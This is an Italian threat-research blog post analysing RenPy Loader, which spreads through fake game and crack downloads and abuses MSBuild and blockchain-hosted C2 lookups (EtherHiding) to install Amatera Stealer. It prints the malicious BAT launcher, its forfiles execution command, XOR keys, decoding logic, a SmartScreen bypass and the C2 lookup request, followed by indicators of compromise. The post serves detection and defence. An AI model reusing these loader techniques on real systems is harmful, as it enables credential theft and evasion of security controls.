I giochi contraffatti diffondono programmi di furto tramite RenPy Loader, MSBuild ed EtherHiding

| 20 luglio 2026
Logo Ren'Py

Abbiamo individuato diverse campagne che utilizzano falsi download di giochi, mod, crack e software per diffondere RenPy Loader. Una volta installato, il loader avvia una complessa catena di infezione in più fasi che sfrutta MSBuild e la tecnica EtherHiding prima di rilasciare, infine, Amatera Stealer.

Amatera è un infostealer, ovvero un tipo di malware progettato per sottrarre informazioni sensibili da un dispositivo infettato. Può prendere di mira password e altri dati memorizzati nei browser, nei portafogli di criptovalute, nelle estensioni dei browser, nelle app di messaggistica e nei file locali. Le credenziali e i dati di sessione sottratti potrebbero inoltre consentire agli aggressori di accedere agli account online della vittima.

La vittima potrebbe vedere quello che sembra un normale gioco o un programma di installazione, mentre il malware opera silenziosamente in background.

RenPy Loader, noto anche come RenEngine Loader, è particolarmente interessante perché sfrutta in modo improprio Ren’Py, un motore legittimo utilizzato per creare romanzi visivi, giochi basati sulla trama e narrativa interattiva. Nascondendo codice dannoso all’interno di software associato al mondo dei videogiochi, gli autori degli attacchi possono far apparire i propri download più credibili agli occhi di chi è alla ricerca di giochi, mod o software crackato.

Abbiamo già osservato in passato come gli autori degli attacchi abbiano sfruttato in modo improprio strumenti di sviluppo legittimi e framework software emergenti, tra cui Bun e Deno, per diffondere malware. RenPy Loader segue lo stesso schema: gli autori degli attacchi abusano di tecnologie legittime per mascherare le attività dannose, complicare la catena di infezione e rendere più difficile il rilevamento.

È stato inoltre osservato che RenPy Loader distribuisce anche altri malware, tra cui HijackLoader e Lumma Stealer, a dimostrazione del fatto che il payload finale può variare da una campagna all’altra.

In questo blog analizziamo una catena di infezione in cui Ren’Py decodifica un archivio ZIP contenente un file BAT e diversi file di progetto MSBuild. Questi file caricano un componente .NET infettato da un trojan, che a sua volta decodifica un altro componente dannoso.

Tale componente dannoso utilizza una tecnica denominata EtherHiding per individuare il proprio server di comando e controllo (C2). Anziché memorizzare l’indirizzo C2 direttamente all’interno del malware, gli autori dell’attacco lo nascondono nei dati archiviati su una blockchain pubblica. Il malware scarica quindi le fasi successive dell’attacco da quel server, rendendo più difficile identificare e neutralizzare l’infrastruttura degli autori dell’attacco.

Infine, esaminiamo i payload aggiuntivi che, in ultima analisi, decrittografano ed eseguono Amatera Stealer.

I download fasulli infettano il tuo dispositivo

L'infezione ha inizio quando un utente scarica un presunto gioco, una mod, un crack o un programma. Abbiamo individuato file dannosi distribuiti tramite:

  • download fasulli download
  • Pagine di itch.io
  • Servizi di condivisione file come Wormhole, GoFile, Google Drive e MEGA

Ecco alcune delle pagine individuate che danno inizio alla catena di infezione:

In diversi casi, cliccando su un download l'utente veniva reindirizzato verso download altro download fasullo. Queste pagine presentavano design diversi e nomi di servizi inventati, contribuendo a far apparire le campagne meno ripetitive e rendendo più difficile il riconoscimento dell'infrastruttura dannosa.

Di seguito sono riportati alcuni esempi di download fasulle utilizzate per distribuire l'archivio dannoso:

L'utente scarica un archivio contenente un file denominato Setup.exe. L'apertura di questo file avvia la catena di infezione.

Esempio di un archivio scaricato da un sito web dannoso
Esempio di un archivio scaricato da un sito web dannoso

La vittima vede una schermata di caricamento o di installazione, ma in sottofondo è in esecuzione un codice dannoso.

La schermata di installazione
La schermata di installazione

Come stare al sicuro

Alcune precauzioni possono ridurre il rischio di scaricare giochi o software dannosi:

  • Download e software dai siti web ufficiali, dagli app store affidabili o da piattaforme di distribuzione consolidate.
  • Presta attenzione ai software crackati, alle mod non ufficiali e alle versioni gratuite dei giochi a pagamento.
  • Fai attenzione quando un download ti reindirizza attraverso diversi siti web sconosciuti o servizi di condivisione file.
  • Controlla il contenuto degli archivi scaricati prima di aprire file eseguibili come Setup.exe.
  • Cerca nomi di file insoliti, immagini o file di testo non pertinenti e contenuti che non corrispondono a ciò che intendevi download.
  • Utilizza un software anti-malware in tempo reale come Malwarebytes.
  • Mantieni aggiornati il sistema operativo, il browser e il software di sicurezza.

I responsabili di queste campagne creano continuamente nuovi siti web e modificano download loro download . Un programma di installazione dall'aspetto professionale o un servizio di condivisione file ben noto non garantiscono che un download sicuro.

Analisi tecnica del caricatore RenPy

Ren’Py è un motore gratuito e open source per la creazione di romanzi visivi, giochi basati sulla trama e narrativa interattiva. Ren’Py consente l’integrazione di script Python, che gli hacker sfruttano per inserire codice dannoso.

In questo caso, abbiamo individuato codice dannoso nei seguenti file e percorsi:

Percorso

Descrizione

data/python-packages/sys_config/

Classi anti-sandbox

data/libwin32.rpa

Caricatore

data/.GEg

Configurazione crittografata con XOR

data/j3lpTcg7kBRN.E3

ZIP crittografato con XOR

Il caricatore di primo stadio estratto da libwin32.rpa esegue le seguenti operazioni:

  • Legge il file di configurazione data/.GEg e lo decifra utilizzando la decodifica Base64 e l'operazione XOR con la chiave 81034149cd6f48c8821340204f92766e. Questo file di configurazione contiene la password utilizzata per estrarre il file ZIP, insieme ad altri dati di configurazione utilizzati dal programma di caricamento.
  • Chiamate sys_config.is_sandboxed() e termina l'esecuzione se viene rilevata una sandbox.
  • Decrittografia XOR data/j3lpTcg7kBRN.E3 utilizzando la chiave A50YyY1 per scaricare il file ZIP.
  • Estrae il contenuto del file ZIP in una cartella casuale all'interno di %TEMP%/tmp-{5 digits}-{12 characters} e scrive un :Zone.Identifier flusso di dati alternativo (ADS) con ZoneId=0 per rimuovere il "Mark of the Web" e aggirare SmartScreen. Inoltre, inserisce un codice casuale REM stringa nel file BAT estratto.
  • Lancia il carico utile utilizzando forfiles.exe.
  • Invia MAC del dispositivo e l'ID della campagna a un sito web di tracciamento.
La configurazione decodificata
La configurazione decodificata
I file contenuti nell'archivio ZIP decriptato
I file contenuti nell'archivio ZIP decriptato

In questo caso, il file BAT estratto è stato eseguito utilizzando il seguente comando:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contenuto del file BAT:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

Il file BAT eseguito svolge le seguenti operazioni:

  • Si riavvia in una console nascosta o senza interfaccia grafica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Abilita le funzioni delle proprietà MSBuild, consentendo l'utilizzo di metodi aggiuntivi quali AppDomain.CurrentDomain.Load da eseguire:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Esegue MSBuild.exe con Nancy.csproj come file di progetto. Durante la valutazione del progetto, una funzione di proprietà MSBuild dannosa esegue la decodifica esadecimale e carica in modo riflessivo la DLL successiva.

La DLL Nancy infettata da un trojan e il bytecode personalizzato

Nancy.csproj importa i tre file estratti Nancy.csproj.user, Internal.props, e Nancy.Compile.targets. La DLL dannosa è suddivisa in tre valori memorizzati in questi file.

I file importati nel file Nancy.csproj
I file importati all'interno Nancy.csproj

Nancy.Compile.targets concatena i tre valori per decodificare in esadecimale la DLL ed eseguire il DefaultEvaluator5 metodo che utilizza AppDomain.CurrentDomain.Load.CreateInstance.

Esecuzione di DefaultEvaluator5
Esecuzione di DefaultEvaluator5

La cosa interessante è che Nancy.csproj ha una duplice funzione: è il progetto MSBuild utilizzato per eseguire il caricatore di prima fase e contiene anche la fase successiva decodificata dal caricatore.

La DLL è una versione trojanizzata della libreria Nancy .NET ed è un caricatore .NET offuscato con codice dannoso implementato nel DefaultEvaluator5 classe. Alcune delle funzionalità della DLL sono implementate in bytecode personalizzato eseguito da questo metodo main.

Confronto tra le DLL Nancy legittime e quelle infettate da trojan
Confronto tra le DLL Nancy legittime e quelle infettate da trojan

La DLL esegue le seguenti operazioni:

  • Decifra le stringhe dalle risorse utilizzando la decifrazione XOR a chiavi multiple.
  • Risolve le API utilizzando l'hashing delle API e GetDelegateForFunctionPointer.
  • Modifica le impostazioni di rete, tra cui la disattivazione della convalida dei certificati TLS e la configurazione del proxy predefinito del sistema.
  • Esegue operazioni anti-forensi.
  • Legge il _czzf variabile d'ambiente, che punta alla precedente Nancy.csproj file, quindi lo decodifica e lo esegue.

Il principale DefaultEvaluator5 Il metodo recupera le stringhe e interpreta il bytecode contenuto nelle seguenti risorse:

  • Nancy.Runtime.mvlorimu: Contiene il bytecode personalizzato. Il bytecode viene interpretato da _pv e _sro. Implementa 23 codici operativi utilizzati per decriptare altre stringhe e caricare la DLL della fase successiva.
  • Nancy.Data.tcnlhxw e Nancy.Resources.kxxodp: Contiene le stringhe crittografate e gli altri dati utilizzati per la decrittografia, tra cui le chiavi, le lunghezze, gli indici e la S-box.

Le stringhe vengono decifrate utilizzando il seguente algoritmo:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

La fase successiva della DLL, GollopDevest, viene decodificato dallo stesso Nancy.csproj file che utilizza la seguente logica e caricato con AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
La fase successiva codificata tra i marcatori Pack
La fase successiva codificata tra il Pack indicatori

EtherHiding e Amatera Stealer

La fase successiva dell'estrazione è una DLL denominata GollopDevest.dll, un programma di download .NET che utilizza la tecnica EtherHiding per individuare il proprio server di comando e controllo (C2) e download fase successiva.

Il dominio C2 crittografato viene ottenuto tramite un JSON-RPC di Ethereum eth_call richiesta di bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Questo downloader EtherHiding fa probabilmente parte di un'operazione di tipo "malware-as-a-service" (MaaS), poiché ne abbiamo rilevato la distribuzione anche in altre campagne, tra cui quelle di ClickFix.

Vengono quindi scaricati altri tre payload: due DLL .NET denominate PavinWide (una DLL anti-analisi) e GollopDevest (una DLL di caricamento) e una DLL in C++ denominata LanoseThrip, che alla fine decrittografa e carica Amatera Stealer.

In questo caso, tali payload sono stati scaricati da:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

Le DLL .NET sono fortemente offuscate tramite l'appiattimento del flusso di controllo e chiamate indirette tramite calli/ldftn, la crittografia delle stringhe con diversi algoritmi, codice inutile, codice inattivo e stringhe fittizie come i percorsi URL.

L'analisi di queste DLL è ancora in corso e verrà approfondita nei prossimi post del blog.

Indicatori di compromesso (IOC)

Domini

  • downpro[.]net – download fasullo
  • macisofile[.]sbs – download fasullo
  • visitmama[.]blog – download fasullo
  • visitmama[.]guru – download fasullo
  • getgamerfree[.]com – download fasullo
  • fullgames[.]digital – download fasullo
  • flingbase[.]net – download fasullo
  • citronemu[.]com – download fasullo
  • filemodo[.]xyz – Infrastruttura di distribuzione
  • storage06x[.]cfd – Infrastruttura di distribuzione
  • p03sil[.]cyou – Infrastruttura di distribuzione
  • wimsedas[.]xyz – Infrastruttura di distribuzione
  • againstmor[.]store – Infrastruttura di distribuzione
  • host03q[.]cfd – Infrastruttura di distribuzione
  • cloud01y[.]cfd – Infrastruttura di distribuzione
  • storage11x[.]cfd – Infrastruttura di distribuzione
  • storage04x[.]cfd – Infrastruttura di distribuzione
  • host82p[.]cfd – Infrastruttura di distribuzione
  • cloud05y[.]cfd – Infrastruttura di distribuzione
  • analyticstrack-pzh[.]click – Sito web di tracciamento
  • login.orbitalframework[.]cc – Amatera Stealer C2

Indirizzi IP

  • 144.124.251[.]171 – Utilizzato per ottenere carichi utili aggiuntivi
  • 195.63.140[.]33 – Utilizzato per ottenere carichi utili aggiuntivi
  • 78.40.196[.]252 – Utilizzato per ottenere carichi utili aggiuntivi

Hash dei file (MD5)

  • 29203ca123d51b1b33505a0813d360df – Caricatore di primo livello (DLL trojanizzata)
  • 810F257542018BE0FC62AF542D13D012 – DLL GollopDevest (DLL di download)
  • 681DB529E402467A4B0567C82A350FC0 – DLL PavinWride (DLL anti-analisi)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL GollopDevest (DLL di caricamento)
  • F8453EFE408CE25B9484F872797E3D63 – Carico utile finale

Premio "Scelta della redazione" di CNET 2026

Secondo CNET.Leggi la loro recensione


Informazioni sull'autore

Gabriele è un ingegnere specializzato nella ricerca sul malware che ama combattere il malware. Quando non è impegnato in questo, lo si può trovare a godersi la natura, l'arte e gli animali.